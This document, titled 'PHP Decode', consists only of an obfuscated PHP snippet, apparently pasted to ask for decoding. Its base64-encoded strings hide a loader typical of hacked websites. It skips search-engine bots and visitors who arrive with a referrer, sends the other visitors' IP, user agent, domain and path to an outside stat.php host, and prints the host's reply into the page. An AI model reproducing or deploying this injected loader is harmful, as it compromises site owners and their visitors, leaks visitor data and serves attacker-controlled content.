PHP Decode

function O($i){$a=Array('SFRUUF9VU0VSX0FHRU5U','','Z29vZ2xl','eWFob28=','YmFpZHU=','bXNu','b3BlcmE=','Y2hyb21l','YmluZw==','c2FmYXJp','Ym90','SFRUUF9SRUZFUkVS','','UkVNT1RFX0FERFI=','SFRUUF9IT1NU','YUhSMGNEb3ZMMmRzYjJKaGJHSnliM2R6WlhKemRHRjBhWE4wYVdNdVkyOXRMM04wWVhSTUwzTjBZWFF1Y0dodw==','P2lwPQ==','UkVNT1RFX0FERFI=','JnVzZXJhZ2VudD0=','JmRvbWFpbm5hbWU9','SFRUUF9IT1NU','JmZ1bGxwYXRoPQ==','UkVRVUVTVF9VUkk=','JmNoZWNrPQ==','bG9vaw==','Tw==','IA==');return base64_decode($a[$i]);}if(!isset($OO_0)){global $OO_0;$OO_0=round(0+0.2+0.2+0.2+0.2+0.2);$OO_1=$GLOBALS['_O_'][0]($_SERVER[O(0)]);$OO_2=NULL;$OO_3=O(1);if(($GLOBALS['_O_'][1]($OO_1,O(2))== false)&&($GLOBALS['_O_'][2]($OO_1,O(3))== false)&&($GLOBALS['_O_'][3]($OO_1,O(4))== false)&&($GLOBALS['_O_'][4]($OO_1,O(5))== false)&&($GLOBALS['_O_'][5]($OO_1,O(6))== false)&&($GLOBALS['_O_'][6]($OO_1,O(7))== false)&&($GLOBALS['_O_'][7]($OO_1,O(8))== false)&&($GLOBALS['_O_'][8]($OO_1,O(9))== false)&&($GLOBALS['_O_'][9]($OO_1,O(10))== false)&&$_SERVER[O(11)]!=O(12)){if(isset($_SERVER[O(13)])== true && isset($_SERVER[O(14)])== true){$OO_3=$GLOBALS['_O_'][10](O(15)) .O(16) .$GLOBALS['_O_'][11]($_SERVER[O(17)]) .O(18) .$GLOBALS['_O_'][12]($OO_1) .O(19) .$GLOBALS['_O_'][13]($_SERVER[O(20)]) .O(21) .$GLOBALS['_O_'][14]($_SERVER[O(22)]) .O(23) .isset($_GET[O(24)]);$OO_2=$GLOBALS['_O_'][15]($OO_3);}}if($OO_2 !== NULL){$GLOBALS['_O_'][16]($OO_2,CURLOPT_RETURNTRANSFER,round(0+0.25+0.25+0.25+0.25));$OO_4=@$GLOBALS['_O_'][17]($OO_2);if($OO_4[round(0)]==O(25)){$OO_4[round(0)]=O(26);echo $OO_4;}$GLOBALS['_O_'][18]($OO_2);}}